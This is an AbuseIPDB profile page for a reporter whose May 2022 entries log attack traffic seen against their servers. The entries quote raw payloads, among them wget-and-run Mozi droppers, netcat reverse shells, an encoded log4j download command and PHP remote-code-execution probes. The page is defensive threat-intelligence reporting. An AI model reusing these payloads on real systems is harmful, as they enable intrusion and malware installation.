AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Jax joined AbuseIPDB in March 2022 and has reported 120 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇷🇺 193.106.191.48	18 May 2022	Attempted Zimbra <8.8.11 - XML External Entity Injection/SSRF Attempt (CVE-2019-9621)	Web App Attack
🇮🇳 117.208.137.84	18 May 2022	Attempted BashDoor exploit. GET /shell?cd+/tmp;rm+-rf+;wget+http://117.208.137.84:34384/Mozi.a;c ... show more Attempted BashDoor exploit. GET /shell?cd+/tmp;rm+-rf+;wget+http://117.208.137.84:34384/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 show less	Hacking
🇷🇺 193.106.191.48	17 May 2022	Attempted php remote code execution POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP ... show more Attempted php remote code execution POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 Host: <target>:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Length: 19 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Connection: close <?=md5("phpunit")?> show less	Web App Attack
🇷🇺 193.106.191.48	17 May 2022	Attempted RCE via PHP GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arr ... show more Attempted RCE via PHP GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1 show less	Web App Attack
🇦🇺 103.70.234.240	17 May 2022	Attempted default credential login of admin:admin GET / HTTP/1.1 Authorization: Basic YWRtaW46YW ... show more Attempted default credential login of admin:admin GET / HTTP/1.1 Authorization: Basic YWRtaW46YWRtaW4= show less	Hacking Brute-Force IoT Targeted
🇬🇧 109.74.204.123	16 May 2022	Attem pted webshell. POST /functionRouter HTTP/1.1	Hacking Web App Attack
🇩🇪 172.105.87.91	16 May 2022	Exploit attempt on mail server. POST /functionRouter HTTP/1.1	Hacking Web App Attack
🇪🇸 2.139.161.243	16 May 2022	Attempted Drupalgaddon POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapp ... show more Attempted Drupalgaddon POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 show less	Web App Attack
🇷🇺 45.9.20.101	16 May 2022	multiple exploit attempts made /actuator/gateway/routes /cgi-bin/../../../../bin/sh /_ignition/ ... show more multiple exploit attempts made /actuator/gateway/routes /cgi-bin/../../../../bin/sh /_ignition/execute-solution /Autodiscover/Autodiscover.xml /console/ /?XDEBUG_SESSION_START=phpstorm /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 /solr/admin/info/system?wt=json /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php show less	Hacking Web App Attack
🇪🇬 41.239.202.183	16 May 2022	Attempted webshell exploit. /GponForm/diag_Form?style/	Web App Attack
🇨🇳 115.55.176.7	16 May 2022	attempted Netgear DGN Remote Code Execution /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm ... show more attempted Netgear DGN Remote Code Execution /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://115.55.176.7:41622/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 show less	Hacking
🇷🇴 45.148.10.81	15 May 2022	attempting various webexploits. /incl/image_test.shtml?camnbr=<!--#exec cmd="mkfifo /tmp/s;nc -w ... show more attempting various webexploits. /incl/image_test.shtml?camnbr=<!--#exec cmd="mkfifo /tmp/s;nc -w 5 193.124.7.9 31337 0</tmp/s\|/bin/sh>/tmp/s 2>/tmp/s;rm /tmp/s" --> /live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('nc+-e+/bin/sh+193.124.7.9+31337') show less	Web App Attack
🇺🇸 150.136.111.68	15 May 2022	Hosting malicious LDAP server for apache log4j attempt	Hacking
🇵🇱 195.3.221.30	15 May 2022	Apache Obfuscated log4j RCE Attempt (tcp ldap) (CVE-2021-44228) omcatBypass/Command/Base64/d2dldC ... show more Apache Obfuscated log4j RCE Attempt (tcp ldap) (CVE-2021-44228) omcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY3VybCAtTyBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY2htb2QgNzc3IGxpYmN1cmw7IC4vbGliY3VybCBzZXR1cA==}') show less	Web App Attack
🇷🇺 178.49.198.101	15 May 2022	Attempted Netgear DGN Remote Code Execution GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd= ... show more Attempted Netgear DGN Remote Code Execution GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://178.49.198.101:31517/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1 show less	Web App Attack
🇪🇬 197.36.4.163	15 May 2022	Attempted JAWS Webserver Unauthenticated Shell Command Execution GET /shell?cd+/tmp;rm+-rf+;wget ... show more Attempted JAWS Webserver Unauthenticated Shell Command Execution GET /shell?cd+/tmp;rm+-rf+;wget+jx.qingdaosheng.com/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 show less	Web App Attack
🇨🇳 47.93.24.67	15 May 2022	GET /shell?cd+/tmp;rm+-rf+;wget+v1.kannimanelaji.com/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, ... show more GET /shell?cd+/tmp;rm+-rf+;wget+v1.kannimanelaji.com/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 show less	Web App Attack